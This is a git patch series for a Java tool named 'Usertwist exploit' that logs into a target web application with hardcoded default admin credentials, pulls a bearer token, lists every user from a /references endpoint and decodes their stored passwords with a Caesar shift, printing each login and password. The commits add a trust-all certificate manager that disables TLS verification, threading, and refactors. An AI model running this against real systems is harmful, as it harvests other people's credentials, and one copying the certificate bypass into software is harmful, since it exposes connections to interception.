From fb4c53fe362fa2ce663552650777c319f925f8f0 Mon Sep 17 00:00:00 2001 From: Mateo Date: Thu, 1 Aug 2024 15:51:18 +0200 Subject: [PATCH 1/5] Added SSL verification bypass & port choice --- .idea/inspectionProfiles/Project_Default.xml | 2 +- src/fr/motysten/usertwist/exploit/Main.java | 58 ++++++++++++++++--- .../usertwist/exploit/tools/SSLBypass.java | 43 ++++++++++++++ 3 files changed, 95 insertions(+), 8 deletions(-) create mode 100644 src/fr/motysten/usertwist/exploit/tools/SSLBypass.java diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml index 869c305..ec2d9bf 100644 --- a/.idea/inspectionProfiles/Project_Default.xml +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -2,7 +2,7 @@ \ No newline at end of file diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index fa5c910..7efd3b3 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -1,9 +1,14 @@ package fr.motysten.usertwist.exploit; import fr.motysten.usertwist.exploit.tools.Cesar; +import fr.motysten.usertwist.exploit.tools.SSLBypass; import org.json.JSONArray; import org.json.JSONObject; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLException; +import javax.net.ssl.SSLHandshakeException; +import javax.net.ssl.TrustManager; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; @@ -11,16 +16,23 @@ import java.net.URI; import java.net.http.HttpClient; import java.net.http.HttpRequest; import java.net.http.HttpResponse; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; public class Main { public static String link = "https://poc.athelas.fr"; public static String username = "admin"; public static String password = "AdminSecret1C"; + public static String port = "443"; - public static void main(String[] args) throws IOException, InterruptedException { + public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); + SSLContext customContext = SSLContext.getInstance("TLS"); + customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom()); + System.out.println("Usertwist exploit by Motysten"); System.out.println("Please don't use for unethical purpose !\n"); String readLine; @@ -29,6 +41,10 @@ public class Main { readLine = reader.readLine(); if (!readLine.isEmpty()) {link = readLine;} + System.out.println("Please enter the port of the remote web server (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {port = readLine;} + System.out.println("Please enter the used username (leave empty to use default) :"); readLine = reader.readLine(); if (!readLine.isEmpty()) {username = readLine;} @@ -45,14 +61,42 @@ public class Main { System.out.println("Gathering Bearer token..."); - HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .build(); + HttpResponse response = null; + HttpRequest request; - HttpResponse response = client.send(request, HttpResponse.BodyHandlers.ofString()); + boolean tokenFound = false; + while (!tokenFound) { + try { + request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/login")) + .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) + .build(); + + response = client.send(request, HttpResponse.BodyHandlers.ofString()); + tokenFound = true; + } catch (SSLHandshakeException e) { + System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network."); + System.err.println("Would you like to continue anyway ? [y/N]"); + if (!reader.readLine().equalsIgnoreCase("y")) { + System.err.println("Operation aborted ! Security failure."); + System.exit(1); + } else { + client = HttpClient.newBuilder().sslContext(customContext).build(); + } + } catch (SSLException e) { + if (e.getMessage().contains("plaintext connection?")) { + System.err.println("Looks like you're trying to send an HTTPS request on HTTP port. Would you like to switch on port 443 ? [Y/n]"); + if (reader.readLine().equalsIgnoreCase("n")) { + System.err.println("Operation aborted !"); + System.exit(1); + } else { + port = "443"; + } + } + } + } if (response.statusCode() == 401) { - System.err.println("Invalid credentials ! Pleas try again (defaults credentials could help)"); + System.err.println("Invalid credentials ! Please try again (defaults credentials could help)"); System.exit(1); } @@ -67,7 +111,7 @@ public class Main { System.out.println("\nScanning for existing users..."); - request = HttpRequest.newBuilder(URI.create(link + "/references")) + request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/references")) .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) .setHeader("Authorization", "Bearer " + token) .build(); diff --git a/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java b/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java new file mode 100644 index 0000000..94fb2c9 --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/SSLBypass.java @@ -0,0 +1,43 @@ +package fr.motysten.usertwist.exploit.tools; + +import javax.net.ssl.SSLEngine; +import javax.net.ssl.X509ExtendedTrustManager; +import java.net.Socket; +import java.security.cert.X509Certificate; + +public class SSLBypass extends X509ExtendedTrustManager { + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) { + + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) { + + } + + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) { + + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) { + + } + + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s) { + + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s) { + + } + + @Override + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} -- 2.49.1 From 7207b3dca1e483654a31ab9e992e5cfed8b274e4 Mon Sep 17 00:00:00 2001 From: Mateo Date: Thu, 1 Aug 2024 16:35:41 +0200 Subject: [PATCH 2/5] Simplified Cesar rotation + Made a function for HTTP requests --- src/fr/motysten/usertwist/exploit/Main.java | 52 ++++++++++--------- .../usertwist/exploit/tools/Cesar.java | 11 ++-- .../usertwist/exploit/tools/Request.java | 42 +++++++++++++++ 3 files changed, 74 insertions(+), 31 deletions(-) create mode 100644 src/fr/motysten/usertwist/exploit/tools/Request.java diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index 7efd3b3..49de722 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -1,24 +1,20 @@ package fr.motysten.usertwist.exploit; import fr.motysten.usertwist.exploit.tools.Cesar; -import fr.motysten.usertwist.exploit.tools.SSLBypass; +import fr.motysten.usertwist.exploit.tools.Request; import org.json.JSONArray; import org.json.JSONObject; -import javax.net.ssl.SSLContext; import javax.net.ssl.SSLException; import javax.net.ssl.SSLHandshakeException; -import javax.net.ssl.TrustManager; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; -import java.net.URI; -import java.net.http.HttpClient; -import java.net.http.HttpRequest; import java.net.http.HttpResponse; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; -import java.security.SecureRandom; +import java.util.HashMap; +import java.util.Map; public class Main { @@ -26,13 +22,12 @@ public class Main { public static String username = "admin"; public static String password = "AdminSecret1C"; public static String port = "443"; + public static int rotation = 4; + public static boolean insecure = false; public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); - SSLContext customContext = SSLContext.getInstance("TLS"); - customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom()); - System.out.println("Usertwist exploit by Motysten"); System.out.println("Please don't use for unethical purpose !\n"); String readLine; @@ -53,7 +48,9 @@ public class Main { readLine = reader.readLine(); if (!readLine.isEmpty()) {password = readLine;} - HttpClient client = HttpClient.newHttpClient(); + System.out.println("Please enter the cesar offset (leave empty to use default) :"); + readLine = reader.readLine(); + if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);} JSONObject requestJSON = new JSONObject(); requestJSON.put("username", username); @@ -62,17 +59,22 @@ public class Main { System.out.println("Gathering Bearer token..."); HttpResponse response = null; - HttpRequest request; boolean tokenFound = false; while (!tokenFound) { try { - request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/login")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .build(); - - response = client.send(request, HttpResponse.BodyHandlers.ofString()); - tokenFound = true; + response = Request.get(link, port, "/login", requestJSON, null, insecure); + if (response.statusCode() == 308) { + System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]"); + if (reader.readLine().equalsIgnoreCase("n")) { + System.err.println("Operation aborted ! Security failure."); + } else { + link = link.replaceFirst("http", "https"); + port = "443"; + } + } else { + tokenFound = true; + } } catch (SSLHandshakeException e) { System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network."); System.err.println("Would you like to continue anyway ? [y/N]"); @@ -80,7 +82,7 @@ public class Main { System.err.println("Operation aborted ! Security failure."); System.exit(1); } else { - client = HttpClient.newBuilder().sslContext(customContext).build(); + insecure = true; } } catch (SSLException e) { if (e.getMessage().contains("plaintext connection?")) { @@ -100,6 +102,8 @@ public class Main { System.exit(1); } + System.out.println(response.statusCode()); + JSONObject responseObject = new JSONObject(response.body()); String token = responseObject.optString("token"); @@ -111,12 +115,10 @@ public class Main { System.out.println("\nScanning for existing users..."); - request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/references")) - .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString())) - .setHeader("Authorization", "Bearer " + token) - .build(); + Map headers = new HashMap<>(); + headers.put("Authorization", "Bearer " + token); - response = client.send(request, HttpResponse.BodyHandlers.ofString()); + response = Request.get(link, port, "/references", requestJSON, headers, insecure); JSONArray usersArray = new JSONArray(response.body()); System.out.println(usersArray.length() + " users found !"); @@ -125,7 +127,7 @@ public class Main { for (int i = 0; i < usersArray.length(); i++) { JSONObject user = usersArray.getJSONObject(i); String login = user.getString("username"); - String password = Cesar.cesarRotate(user.getString("data"), -4); + String password = Cesar.cesarRotate(user.getString("data"), rotation); System.out.println((i + 1) + ". " + login + " => " + password); } diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java index 8b35445..4f926ef 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Cesar.java +++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java @@ -2,18 +2,17 @@ package fr.motysten.usertwist.exploit.tools; public class Cesar { + public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; + public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); + public static String cesarRotate(String input, int offset) { - String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; - if (offset < 0) { - LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString(); - offset = -offset; + while (offset < 0) { + offset += 26; } - String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); StringBuilder output = new StringBuilder(); - for (int i = 0; i < input.length(); i++) { char newChar = input.charAt(i); if (!Character.isDigit(input.charAt(i))) { diff --git a/src/fr/motysten/usertwist/exploit/tools/Request.java b/src/fr/motysten/usertwist/exploit/tools/Request.java new file mode 100644 index 0000000..f720cda --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/Request.java @@ -0,0 +1,42 @@ +package fr.motysten.usertwist.exploit.tools; + +import org.json.JSONObject; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Map; + +public class Request { + + public static HttpResponse get(String link, String port, String endpoint,JSONObject params, Map headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException { + HttpClient client = HttpClient.newHttpClient(); + + if (insecure) { + SSLContext customContext = SSLContext.getInstance("TLS"); + customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom()); + + client = HttpClient.newBuilder().sslContext(customContext).build(); + } + + HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint)); + if (headers != null) { + for (Map.Entry header : headers.entrySet()) { + builder.setHeader(header.getKey(), header.getValue()); + } + } + + builder.POST(HttpRequest.BodyPublishers.ofString(params.toString())); + HttpRequest request = builder.build(); + + return client.send(request, HttpResponse.BodyHandlers.ofString()); + } + +} -- 2.49.1 From e1e4a26e62fb6da202317568966f021489876b96 Mon Sep 17 00:00:00 2001 From: Mateo Date: Fri, 2 Aug 2024 09:02:11 +0200 Subject: [PATCH 3/5] Asynchronous passwords parsing --- src/fr/motysten/usertwist/exploit/Main.java | 25 ++++++++++---- .../usertwist/exploit/tools/Cesar.java | 2 +- .../usertwist/exploit/tools/Parser.java | 33 +++++++++++++++++++ 3 files changed, 52 insertions(+), 8 deletions(-) create mode 100644 src/fr/motysten/usertwist/exploit/tools/Parser.java diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index 49de722..a3c5b73 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -1,6 +1,6 @@ package fr.motysten.usertwist.exploit; -import fr.motysten.usertwist.exploit.tools.Cesar; +import fr.motysten.usertwist.exploit.tools.Parser; import fr.motysten.usertwist.exploit.tools.Request; import org.json.JSONArray; import org.json.JSONObject; @@ -13,6 +13,7 @@ import java.io.InputStreamReader; import java.net.http.HttpResponse; import java.security.KeyManagementException; import java.security.NoSuchAlgorithmException; +import java.util.Arrays; import java.util.HashMap; import java.util.Map; @@ -24,10 +25,15 @@ public class Main { public static String port = "443"; public static int rotation = 4; public static boolean insecure = false; + public static boolean asynchronous = true; public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); + if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) { + asynchronous = false; + } + System.out.println("Usertwist exploit by Motysten"); System.out.println("Please don't use for unethical purpose !\n"); String readLine; @@ -124,13 +130,18 @@ public class Main { System.out.println(usersArray.length() + " users found !"); System.out.println("\nDecrypting passwords...\n"); - for (int i = 0; i < usersArray.length(); i++) { - JSONObject user = usersArray.getJSONObject(i); - String login = user.getString("username"); - String password = Cesar.cesarRotate(user.getString("data"), rotation); - - System.out.println((i + 1) + ". " + login + " => " + password); + if (asynchronous) { + float startTime = System.nanoTime(); + Parser.asyncGetPass(usersArray, rotation); + float elapsedTime = (System.nanoTime() - startTime) / 1000000; + System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms"); + } else { + float startTime = System.nanoTime(); + Parser.getPass(usersArray, rotation); + float elapsedTime = (System.nanoTime() - startTime) / 1000000; + System.out.println("Synchronous elapsed time = " + elapsedTime + "ms"); } + } } diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java index 4f926ef..fa66b4d 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Cesar.java +++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java @@ -12,7 +12,7 @@ public class Cesar { } StringBuilder output = new StringBuilder(); - + for (int i = 0; i < input.length(); i++) { char newChar = input.charAt(i); if (!Character.isDigit(input.charAt(i))) { diff --git a/src/fr/motysten/usertwist/exploit/tools/Parser.java b/src/fr/motysten/usertwist/exploit/tools/Parser.java new file mode 100644 index 0000000..739d7a3 --- /dev/null +++ b/src/fr/motysten/usertwist/exploit/tools/Parser.java @@ -0,0 +1,33 @@ +package fr.motysten.usertwist.exploit.tools; + +import org.json.JSONArray; +import org.json.JSONObject; + +public class Parser { + + public static void getPass(JSONArray usersArray, int rotation) { + for (int i = 0; i < usersArray.length(); i++) { + JSONObject user = usersArray.getJSONObject(i); + String login = user.getString("username"); + String password = Cesar.cesarRotate(user.getString("data"), rotation); + + System.out.println((i + 1) + ". " + login + " => " + password); + } + } + + public static void asyncGetPass(JSONArray usersArray, int rotation) { + + for (int i = 0; i < usersArray.length(); i++) { + + int finalI = i; + new Thread(() -> { + JSONObject user = usersArray.getJSONObject(finalI); + String login = user.getString("username"); + String password = Cesar.cesarRotate(user.getString("data"), rotation); + + System.out.println((finalI + 1) + ". " + login + " => " + password); + }).start(); + } + } + +} -- 2.49.1 From 91a2a983c283008c1c11eb49dfc8e72eb26e2cbb Mon Sep 17 00:00:00 2001 From: Mateo Date: Fri, 2 Aug 2024 10:57:33 +0200 Subject: [PATCH 4/5] Simplified elapsed time calculating --- src/fr/motysten/usertwist/exploit/Main.java | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index a3c5b73..6c74f54 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -130,17 +130,14 @@ public class Main { System.out.println(usersArray.length() + " users found !"); System.out.println("\nDecrypting passwords...\n"); + float startTime = System.nanoTime(); if (asynchronous) { - float startTime = System.nanoTime(); Parser.asyncGetPass(usersArray, rotation); - float elapsedTime = (System.nanoTime() - startTime) / 1000000; - System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms"); } else { - float startTime = System.nanoTime(); Parser.getPass(usersArray, rotation); - float elapsedTime = (System.nanoTime() - startTime) / 1000000; - System.out.println("Synchronous elapsed time = " + elapsedTime + "ms"); } + float elapsedTime = (System.nanoTime() - startTime) / 1000000; + System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms"); } -- 2.49.1 From a329a54e822ddc271b1d63025d20b105d4ded3d2 Mon Sep 17 00:00:00 2001 From: Mateo Date: Thu, 1 Aug 2024 15:51:18 +0200 Subject: [PATCH 5/5] Simplified elapsed time calculating --- .../usertwist/exploit/tools/Cesar.java | 50 +++++++++---------- .../usertwist/exploit/tools/Parser.java | 4 +- 2 files changed, 27 insertions(+), 27 deletions(-) diff --git a/src/fr/motysten/usertwist/exploit/tools/Cesar.java b/src/fr/motysten/usertwist/exploit/tools/Cesar.java index fa66b4d..e11ccff 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Cesar.java +++ b/src/fr/motysten/usertwist/exploit/tools/Cesar.java @@ -1,33 +1,33 @@ package fr.motysten.usertwist.exploit.tools; +import java.util.stream.Collectors; + public class Cesar { - public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"; - public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase(); + public static String rotate(String input, int offset) { + char normalizeKey = (char) (offset % 26); - public static String cesarRotate(String input, int offset) { - - while (offset < 0) { - offset += 26; - } - - StringBuilder output = new StringBuilder(); - - for (int i = 0; i < input.length(); i++) { - char newChar = input.charAt(i); - if (!Character.isDigit(input.charAt(i))) { - int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i))); - int newPos = (pos + offset) % 26; - if (Character.isUpperCase(input.charAt(i))) { - newChar = UPPER_ALPHABET.charAt(newPos); - } else { - newChar = LOWER_ALPHABET.charAt(newPos); - } - } - output.append(newChar); - } - - return output.toString(); + return input.chars() + .mapToObj(c -> (char) c) + .map(c -> { + if (Character.isLetter(c)) { + char base; + if (Character.isUpperCase(c)) { + base = 'A'; + } else { + base = 'a'; + } + if (offset < 0) { + return (char) (base + (c - base + normalizeKey) % 26); + } else { + return (char) (base + (c - base - normalizeKey + 26) % 26); + } + } else { + return c; + } + }) + .map(String::valueOf) + .collect(Collectors.joining()); } } diff --git a/src/fr/motysten/usertwist/exploit/tools/Parser.java b/src/fr/motysten/usertwist/exploit/tools/Parser.java index 739d7a3..2ce115f 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Parser.java +++ b/src/fr/motysten/usertwist/exploit/tools/Parser.java @@ -9,7 +9,7 @@ public class Parser { for (int i = 0; i < usersArray.length(); i++) { JSONObject user = usersArray.getJSONObject(i); String login = user.getString("username"); - String password = Cesar.cesarRotate(user.getString("data"), rotation); + String password = Cesar.rotate(user.getString("data"), rotation); System.out.println((i + 1) + ". " + login + " => " + password); } @@ -23,7 +23,7 @@ public class Parser { new Thread(() -> { JSONObject user = usersArray.getJSONObject(finalI); String login = user.getString("username"); - String password = Cesar.cesarRotate(user.getString("data"), rotation); + String password = Cesar.rotate(user.getString("data"), rotation); System.out.println((finalI + 1) + ". " + login + " => " + password); }).start(); -- 2.49.1